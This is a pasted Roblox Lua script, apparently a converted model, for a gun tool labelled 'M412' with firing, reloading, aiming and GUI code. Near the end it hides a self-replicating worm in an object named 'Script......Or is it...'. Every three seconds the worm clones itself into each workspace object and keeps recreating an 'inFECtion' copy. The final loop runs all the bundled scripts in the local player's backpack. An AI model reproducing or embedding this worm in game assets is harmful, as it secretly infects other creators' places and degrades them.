  3812. local Ignore_Model = Workspace:FindFirstChild("Ray_Ignore") or Instance.new("Model", Workspace)
  3813. Ignore_Model.Name = "Ray_Ignore"
  3814.  
  3815. local Ray_Ignore = {Character, Ignore_Model, Camera}
  3816.  
  3817. Character.Humanoid.Died:connect(function()
  3818. Tool.Parent = Player.Backpack
  3819. end)
  3820.  
  3821. function Fire(Mouse)
  3822. local Spread = CFrame.Angles(math.rad(math.random(-Settings.Spread, Settings.Spread)/10), math.rad(math.random(-Settings.Spread, Settings.Spread)/10), math.rad(math.random(-Settings.Spread, Settings.Spread)/10))
  3823. local Ray = Ray.new(Character.Head.Position, (CFrame.new(Character.Head.Position, Mouse.Hit.p) * Spread).lookVector.unit * Settings.Range)
  3824. local Hit, Pos = Workspace:FindPartOnRayWithIgnoreList(Ray, Ray_Ignore)
  3825. if Hit and Hit.Parent:FindFirstChild("Humanoid") then
  3826. local Hit_Player = game.Players:GetPlayerFromCharacter(Hit.Parent)
  3827. if Settings.AntiTK and not Hit_Player.Neutral and Hit_Player.TeamColor == Player.TeamColor then
  3828. return
  3829. end
  3830. local Humanoid = Hit.Parent.Humanoid
  3831. local c = Instance.new("ObjectValue")
  3832. c.Name = "creator"
  3833. c.Value = Player
  3834. game.Debris:AddItem(c, 3)
  3835. c.Parent = Humanoid
  3836. if Hit.Name == "Head" then
  3837. Humanoid.Health = Humanoid.Health - math.random(Settings.HeadShotDamage[1], Settings.HeadShotDamage[2])
  3838. else
  3839. Humanoid.Health = Humanoid.Health - math.random(Settings.Damage[1], Settings.Damage[2])
  3840. end
  3841. elseif Hit then
  3842. local Hit_Part = Instance.new("Part", Ignore_Model)
  3843. Hit_Part.FormFactor = "Custom"
  3844. Hit_Part.TopSurface = 0
  3845. Hit_Part.BottomSurface = 0
  3846. Hit_Part.Anchored = true
  3847. Hit_Part.CanCollide = false
  3848. Hit_Part.Size = Vector3.new()
  3849. Hit_Part.CFrame = CFrame.new(Pos) * CFrame.Angles(math.random(0, 360), math.random(0, 360), math.random(0, 360))
  3850. Hit_Part.BrickColor = BrickColor.new("Black")
  3851. game.Debris:AddItem(Hit_Part, Settings.ImpactDuration)
  3852. if not Hit.Anchored then
  3853. local w = Instance.new("Weld", Hit_Part)
  3854. w.Part0 = Hit
  3855. w.Part1 = Hit_Part
  3856. w.C0 = Hit.CFrame:toObjectSpace(Hit_Part.CFrame)
  3857. Hit_Part.Anchored = false
  3858. end
  3859. if Hit.Parent:IsA("Hat") and Settings.DropHats then
  3860. Hit.Parent.Parent = workspace
  3861. game.Debris:AddItem(Hit, 3)
  3862. end
  3863. end
  3864. end
  3865.  
  3866. local Can_Shoot = true
  3867. local Reloading = false
  3868.  
  3869. local First_Person = false
  3870.  
  3871. local Mouse_Held
  3872.  
  3873. Tool.Equipped:connect(function(Mouse)
  3874. Equipped = true
  3875. if Settings.Weld and not Welded then
  3876. wait()
  3877. Tool.Parent = Player.Backpack
  3878. end
  3879. Character = Player.Character
  3880. if Gui then
  3881. return
  3882. end
  3883. Ray_Ignore = {Character, Ignore_Model, Camera}
  3884. Mouse.Icon = Settings.Icons.Idle
  3885. Gui = script.Gui:Clone()
  3886. Gui.Parent = Player.PlayerGui
  3887. Gui.Frame.Position = UDim2.new(Settings.GuiPos.X, Gui.Frame.Position.X.Offset, 1.1, Gui.Frame.Position.Y.Offset)
  3888. Gui.Frame:TweenPosition(UDim2.new(Settings.GuiPos.X, Gui.Frame.Position.X.Offset, Settings.GuiPos.Y, Gui.Frame.Position.Y.Offset), "Out", "Bounce", 1)
  3889. CanUpdateGui = true
  3890. Update_Gui()
  3891. Mouse.Button1Down:connect(function()
  3892. if Can_Shoot and Ammo.Value > 0 and Character.Humanoid.Health > 0 then
  3893. Mouse_Held = true
  3894. while true do
  3895. Can_Shoot = false
  3896. Delay(0, function()
  3897. local t = math.min(Settings.FireMouseAnimTime/3, Settings.FireRate/3)
  3898. if not Aiming then
  3899. Mouse.Icon = Settings.Icons.Fire1
  3900. end
  3901. wait(t)
  3902. if not Aiming then
  3903. if Reloading then return end
  3904. Mouse.Icon = Settings.Icons.Fire2
  3905. end
  3906. wait(t)
  3907. if not Aiming then
  3908. if Reloading then return end
  3909. Mouse.Icon = Settings.Icons.Fire3
  3910. end
  3911. wait(t)
  3912. if not Aiming then
  3913. if Reloading then return end
  3914. Mouse.Icon = Settings.Icons.Idle
  3915. end
  3916. end)
  3917. if Settings.Smoke then
  3918. for i, v in pairs(Settings.Smokes) do
  3919. local s = v[1]:Clone()
  3920. s.Parent = Settings.SmokePart
  3921. s.Enabled = true
  3922. game.Debris:AddItem(s, v[2])
  3923. if v[3] then
  3924. Delay(v[3], function()
  3925. s.Enabled = false
  3926. end)
  3927. end
  3928. end
  3929. end
  3930. for _ = 1, Settings.Bullets do
  3931. pcall(function() Fire(Mouse) end)
  3932. end
  3933. Camera.CoordinateFrame = CFrame.new(Camera.Focus.p) * (Camera.CoordinateFrame - Camera.CoordinateFrame.p) * CFrame.Angles(math.abs(Settings.Recoil), 0, 0) * CFrame.new(0, 0, (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude)
  3934. if Tool.Handle:FindFirstChild("Shoot") then
  3935. Tool.Handle.Shoot:Play()
  3936. end
  3937. Ammo.Value = Ammo.Value - 1
  3938. wait(Settings.FireRate)
  3939. if not Settings.Automatic or Ammo.Value <= 0 or Character.Humanoid.Health <= 0 or not Mouse_Held then
  3940. break
  3941. end
  3942. end
  3943. Can_Shoot = true
  3944. elseif Can_Shoot and Character.Humanoid.Health > 0 and Tool.Handle:FindFirstChild("Click") then
  3945. Tool.Handle.Click:Play()
  3946. end
  3947. end)
  3948. Mouse.Button1Up:connect(function()
  3949. Mouse_Held = false
  3950. end)
  3951. Mouse.KeyDown:connect(function(Key)
  3952. if Key:upper() == Settings.ReloadKey:upper() and Can_Shoot and StoredAmmo.Value > 0 and not Aiming then
  3953. if Settings.IncludeChamberedBullet and Ammo.Value == Settings.Ammo + 1 or not Settings.IncludeChamberedBullet and Ammo.Value == Settings.Ammo then
  3954. return
  3955. end
  3956. Can_Shoot = false
  3957. Reloading = true
  3958. local TextLabel = Gui.Frame.AmmoDisplay
  3959. Delay(0, function()
  3960. CanUpdateGui = false
  3961. TextLabel.Text = "Reloading."
  3962. wait(Settings.ReloadTime/3)
  3963. if TextLabel then
  3964. TextLabel.Text = "Reloading.."
  3965. end
  3966. wait(Settings.ReloadTime/3)
  3967. if TextLabel then
  3968. TextLabel.Text = "Reloading..."
  3969. end
  3970. end)
  3971. if Tool.Handle:FindFirstChild("Reload") then
  3972. Tool.Handle.Reload:Play()
  3973. end
  3974. Mouse.Icon = Settings.Icons.Reload
  3975. wait(Settings.ReloadTime)
  3976. Mouse.Icon = Settings.Icons.Idle
  3977. CanUpdateGui = true
  3978. local m = Settings.Ammo
  3979. if Ammo.Value > 0 and Settings.IncludeChamberedBullet then
  3980. m = m + 1
  3981. end
  3982. if (StoredAmmo.Value - (m - Ammo.Value)) <= 0 then
  3983. Ammo.Value = Ammo.Value + StoredAmmo.Value
  3984. StoredAmmo.Value = 0
  3985. else
  3986. StoredAmmo.Value = StoredAmmo.Value - (m - Ammo.Value)
  3987. Ammo.Value = m
  3988. end
  3989. Can_Shoot = true
  3990. Reloading = false
  3991. elseif Key:upper() == Settings.SprintKey:upper() and Settings.Sprint and not Aiming then
  3992. Sprinting = true
  3993. Character.Humanoid.WalkSpeed = Settings.SprintSpeed
  3994. Settings.Spread = Settings.Spread + Settings.SprintSpreadIncrease
  3995. end
  3996. end)
  3997. Mouse.KeyUp:connect(function(Key)
  3998. if Key:upper() == Settings.SprintKey:upper() and Sprinting then
  3999. Sprinting = false
  4000. Character.Humanoid.WalkSpeed = 16
  4001. Settings.Spread = Settings.Spread - Settings.SprintSpreadIncrease
  4002. Right_Weld.C0 = CFrame.new(0, -1.5, 0)
  4003. end
  4004. end)
  4005. Mouse.Button2Down:connect(function()
  4006. if not Reloading and not Sprinting and not Aiming and (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude < 1 then
  4007. Aiming = true
  4008. Mouse.Icon = Settings.Icons.Aim
  4009. Right_Weld.C1 = CFrame.new()
  4010. Right_Weld.C0 = CFrame.new()
  4011. Right_Weld.C1 = Character.Head.CFrame:toObjectSpace(Settings.AimPart.CFrame)
  4012. Left_Weld.C1 = Settings.LeftAimPos
  4013. if Settings.ChangeFOV[1] then
  4014. Camera.FieldOfView = Settings.ChangeFOV[2]
  4015. end
  4016. Tool.GripPos = Orig_Grip + Settings.AimGripOffset
  4017. Settings.Spread = Settings.Spread - Settings.SpreadReduction
  4018. end
  4019. end)
  4020. Mouse.Button2Up:connect(function()
  4021. if Aiming then
  4022. Mouse.Icon = Settings.Icons.Idle
  4023. Tool.GripPos = Orig_Grip
  4024. Right_Weld.C1 = Settings.RightPos
  4025. Right_Weld.C0 = CFrame.new(0, -1.5, 0)
  4026. Left_Weld.C1 = Settings.LeftPos
  4027. if Settings.ChangeFOV[1] then
  4028. Camera.FieldOfView = 70
  4029. end
  4030. Settings.Spread = Settings.Spread + Settings.SpreadReduction
  4031. Character.Torso.Neck.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  4032. Character.Torso.Neck.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  4033. wait(0.25)
  4034. Aiming = false
  4035. end
  4036. end)
  4037. wait()
  4038. Camera.Changed:connect(function()
  4039. if (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude < 1 and Equipped then
  4040. Mouse.TargetFilter = workspace
  4041. Character.Torso.Neck.C1 = CFrame.new()
  4042. Character.Torso.Neck.C0 = CFrame.new(0, 1.5, 0) * CFrame.Angles(math.asin((Mouse.Hit.p - Mouse.Origin.p).unit.y), 0, 0)
  4043. end
  4044. end)
  4045. Mouse.Idle:connect(function()
  4046. if (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude < 1 and Equipped then
  4047. Mouse.TargetFilter = workspace
  4048. Character.Torso.Neck.C1 = CFrame.new()
  4049. Character.Torso.Neck.C0 = CFrame.new(0, 1.5, 0) * CFrame.Angles(math.asin((Mouse.Hit.p - Mouse.Origin.p).unit.y), 0, 0)
  4050. end
  4051. end)
  4052. while wait() and Equipped do
  4053. if Sprinting then
  4054. Right_Weld.C0 = CFrame.new(0, -1.5, 0) * Settings.SprintArmOffset
  4055. Left_Weld.C0 = CFrame.new(0, -1.5, 0) * Settings.SprintArmOffset
  4056. elseif not Aiming then
  4057. Left_Weld.C0 = CFrame.new(0, -1.5, 0)
  4058. end
  4059. if (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude > 1 and Equipped then
  4060. Mouse.TargetFilter = nil
  4061. Character.Torso.Neck.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  4062. Character.Torso.Neck.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  4063. end
  4064. end
  4065. end)
  4066.  
  4067. local Arms_Made
  4068. local Fake_Arm_Right, Fake_Arm_Left, Fake_Arm_Model
  4069.  
  4070. Tool.Equipped:connect(function(Mouse)
  4071. if Character and not Arms_Made then
  4072. Arms_Made = true
  4073. local Torso = Character.Torso
  4074. Torso["Right Shoulder"].Part1 = nil
  4075. Left_Weld = Instance.new("Weld", Torso)
  4076. Left_Weld.Name = "Left_Weld"
  4077. Left_Weld.Part0 = Character.Head
  4078. Left_Weld.C0 = CFrame.new(0, -1.5, 0)
  4079. if not Settings.OneHanded then
  4080. Torso["Left Shoulder"].Part1 = nil
  4081. Left_Weld.Part1 = Character["Left Arm"]
  4082. end
  4083. Right_Weld = Instance.new("Weld", Torso)
  4084. Right_Weld.Name = "Right_Weld"
  4085. Right_Weld.Part0 = Character.Head
  4086. Right_Weld.Part1 = Character["Right Arm"]
  4087. Right_Weld.C0 = CFrame.new(0, -1.5, 0)
  4088. Left_Weld.C1 = Settings.LeftPos
  4089. Right_Weld.C1 = Settings.RightPos
  4090. end
  4091. if Settings.FakeArms and not Fake_Arm_Right then
  4092. Fake_Arm_Right, Fake_Arm_Left = Character["Right Arm"]:Clone(), Character["Left Arm"]:Clone()
  4093. Fake_Arm_Right.FormFactor, Fake_Arm_Left.FormFactor = "Custom", "Custom"
  4094. Fake_Arm_Right.Size, Fake_Arm_Left.Size = Vector3.new(), Vector3.new()
  4095. local fakeArms = {Fake_Arm_Right, Fake_Arm_Left}
  4096. for i = 1, 2 do
  4097. local w = Instance.new("Weld", fakeArms[i])
  4098. w.Part0 = Character[fakeArms[i].Name]
  4099. w.Part1 = fakeArms[i]
  4100. fakeArms[i].Transparency = Settings.FakeArmTransparency
  4101. end
  4102. Fake_Arm_Model = Instance.new("Model", Camera)
  4103. Fake_Arm_Right.Parent = Fake_Arm_Model
  4104. if not Settings.OneHanded then
  4105. Fake_Arm_Left.Parent = Fake_Arm_Model
  4106. end
  4107. Fake_Arm_Model.Name = "FakeArms"
  4108. if Settings.CharacterMeshes then
  4109. for i, v in pairs(Character:GetChildren()) do
  4110. if v:IsA("CharacterMesh") and v.BodyPart == Enum.BodyPart.LeftArm or v:IsA("CharacterMesh") and v.BodyPart == Enum.BodyPart.RightArm then
  4111. v:Clone().Parent = Fake_Arm_Model
  4112. end
  4113. end
  4114. end
  4115. if Character:FindFirstChild("Shirt") then
  4116. Instance.new("Humanoid", Fake_Arm_Model)
  4117. Character.Shirt:Clone().Parent = Fake_Arm_Model
  4118. else
  4119. local Arm_Mesh = Instance.new("SpecialMesh", Fake_Arm_Right)
  4120. Arm_Mesh.MeshType, Arm_Mesh.Scale = "Brick", Vector3.new(5, 10, 5)
  4121. local Arm_Mesh2 = Instance.new("SpecialMesh", Fake_Arm_Left)
  4122. Arm_Mesh2.MeshType, Arm_Mesh2.Scale = "Brick", Vector3.new(5, 10, 5)
  4123. end
  4124. end
  4125. end)
  4126.  
  4127. Tool.Unequipped:connect(function()
  4128. Equipped = false
  4129. Tool.GripPos = Orig_Grip
  4130. Aiming = false
  4131. Settings.Spread = Orig_Spread
  4132. if Settings.ChangeFOV[1] then
  4133. Camera.FieldOfView = 70
  4134. end
  4135. if Gui then
  4136. Gui:Destroy()
  4137. Gui = nil
  4138. end
  4139. for i, v in pairs(Tool.Handle:GetChildren()) do
  4140. if v:IsA("Sound") then
  4141. v:Stop()
  4142. end
  4143. end
  4144. if Fake_Arm_Right and Fake_Arm_Left and Fake_Arm_Model then
  4145. Fake_Arm_Model:Destroy()
  4146. Fake_Arm_Right, Fake_Arm_Left, Fake_Arm_Model = nil, nil, nil
  4147. end
  4148. if Character and Left_Weld and Right_Weld then
  4149. Arms_Made = false
  4150. local Torso = Character.Torso
  4151. Torso["Right Shoulder"].Part1, Torso["Left Shoulder"].Part1 = Character["Right Arm"], Character["Left Arm"]
  4152. Left_Weld:Destroy()
  4153. Right_Weld:Destroy()
  4154. end
  4155. Sprinting = false
  4156. Character.Torso.Neck.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  4157. Character.Torso.Neck.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  4158. Character.Humanoid.WalkSpeed = 16
  4159. end)
  4160.  
  4161. end))
  4162. NumberValue365.Name = "Ammo"
  4163. NumberValue365.Parent = LocalScript364
  4164. NumberValue365.Value = 31
  4165. NumberValue366.Name = "StoredAmmo"
  4166. NumberValue366.Parent = LocalScript364
  4167. NumberValue366.Value = 400
  4168. PointLight367.Name = "Flash"
  4169. PointLight367.Parent = LocalScript364
  4170. PointLight367.Color = Color3.new(0.772549, 0.384314, 0)
  4171. PointLight367.Brightness = 10
  4172. PointLight367.Range = 10
  4173. PointLight367.Shadows = true
  4174. PointLight367.Color = Color3.new(0.772549, 0.384314, 0)
  4175. Smoke368.Parent = LocalScript364
  4176. Smoke368.Size = 0.25
  4177. Smoke368.Color = Color3.new(0.372549, 0.372549, 0.372549)
  4178. Smoke368.Enabled = false
  4179. Smoke368.Opacity = 0.25999999046326
  4180. Smoke368.RiseVelocity = 4
  4181. Smoke368.Color = Color3.new(0.372549, 0.372549, 0.372549)
  4182. Smoke369.Name = "Smoke1"
  4183. Smoke369.Parent = LocalScript364
  4184. Smoke369.Size = 0.10000000149012
  4185. Smoke369.Color = Color3.new(1, 0.6, 0.2)
  4186. Smoke369.Enabled = false
  4187. Smoke369.Opacity = 0.40000000596046
  4188. Smoke369.Color = Color3.new(1, 0.6, 0.2)
  4189. ScreenGui370.Name = "Gui"
  4190. ScreenGui370.Parent = LocalScript364
  4191. Frame371.Parent = ScreenGui370
  4192. Frame371.Transparency = 0.5
  4193. Frame371.Size = UDim2.new(0, 120, 0, 35)
  4194. Frame371.Position = UDim2.new(1, -150, 1, -44)
  4195. Frame371.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  4196. Frame371.BackgroundTransparency = 0.5
  4197. Frame371.BorderSizePixel = 3
  4198. TextLabel372.Name = "AmmoDisplay"
  4199. TextLabel372.Parent = Frame371
  4200. TextLabel372.Transparency = 1
  4201. TextLabel372.Size = UDim2.new(1, 0, 1, 0)
  4202. TextLabel372.Text = ""
  4203. TextLabel372.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  4204. TextLabel372.BackgroundTransparency = 1
  4205. TextLabel372.Font = Enum.Font.SourceSansBold
  4206. TextLabel372.FontSize = Enum.FontSize.Size24
  4207. TextLabel372.TextColor3 = Color3.new(0, 0, 0)
  4208. TextLabel372.TextStrokeColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  4209. TextLabel372.TextStrokeTransparency = 0.5
  4210. TextLabel372.TextXAlignment = Enum.TextXAlignment.Right
  4211. Frame373.Parent = ScreenGui370
  4212. Frame373.Transparency = 0.5
  4213. Frame373.Size = UDim2.new(0, 126, 0, 10)
  4214. Frame373.Position = UDim2.new(1, -153, 1, -62)
  4215. Frame373.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  4216. Frame373.BackgroundTransparency = 0.5
  4217. Frame373.BorderSizePixel = 3
  4218. TextLabel374.Name = "Caliber"
  4219. TextLabel374.Parent = Frame373
  4220. TextLabel374.Transparency = 1
  4221. TextLabel374.Size = UDim2.new(1, 0, 1, 0)
  4222. TextLabel374.Text = "Made by 1ndrew"
  4223. TextLabel374.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  4224. TextLabel374.BackgroundTransparency = 1
  4225. TextLabel374.Font = Enum.Font.SourceSansBold
  4226. TextLabel374.FontSize = Enum.FontSize.Size18
  4227. TextLabel374.TextColor3 = Color3.new(0, 0, 0)
  4228. TextLabel374.TextStrokeColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  4229. TextLabel374.TextStrokeTransparency = 0.5
  4230. TextLabel374.TextXAlignment = Enum.TextXAlignment.Right
  4231. Frame375.Parent = ScreenGui370
  4232. Frame375.Transparency = 0.5
  4233. Frame375.Size = UDim2.new(0, 126, 0, 40)
  4234. Frame375.Position = UDim2.new(1, -153, 1, -109)
  4235. Frame375.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  4236. Frame375.BackgroundTransparency = 0.5
  4237. Frame375.BorderSizePixel = 3
  4238. TextLabel376.Name = "Accessories"
  4239. TextLabel376.Parent = Frame375
  4240. TextLabel376.Transparency = 1
  4241. TextLabel376.Size = UDim2.new(1, 0, 1, 0)
  4242. TextLabel376.Text = "M412"
  4243. TextLabel376.BackgroundColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  4244. TextLabel376.BackgroundTransparency = 1
  4245. TextLabel376.Font = Enum.Font.SourceSansBold
  4246. TextLabel376.FontSize = Enum.FontSize.Size14
  4247. TextLabel376.TextColor3 = Color3.new(0, 0, 0)
  4248. TextLabel376.TextStrokeColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  4249. TextLabel376.TextStrokeTransparency = 0.5
  4250. TextLabel376.TextXAlignment = Enum.TextXAlignment.Right
  4251. Script377.Name = "Script......Or is it..."
  4252. Script377.Parent = mas
  4253. table.insert(cors,sandbox(Script377,function()
  4254. if script.Parent.className ~= "RotateP" then
  4255. local p = Instance.new("RotateP")
  4256. p.Parent = workspace
  4257. p.Name = "INfecTION"
  4258. script.Parent = p
  4259. end
  4260.  
  4261. function check()
  4262. local list = workspace:GetChildren()
  4263. for i = 1, #list do
  4264. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  4265. script.Parent:Clone().Parent = list[i]
  4266. end
  4267. wait()
  4268. end
  4269. end
  4270.  
  4271. while true do
  4272. check()
  4273. if workspace:findFirstChild("inFECtion") == nil then
  4274. local main = script.Parent:Clone()
  4275. main.Name = "inFECtion"
  4276. main.Parent = workspace
  4277. end
  4278. wait(3)
  4279. end
  4280.  
  4281. end))
  4282. for i,v in pairs(mas:GetChildren()) do
  4283. v.Parent = game:GetService("Players").LocalPlayer.Backpack
  4284. pcall(function() v:MakeJoints() end)
  4285. end
  4286. mas:Destroy()
  4287. for i,v in pairs(cors) do
  4288. spawn(function()
  4289. pcall(v)
  4290. end)
  4291. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement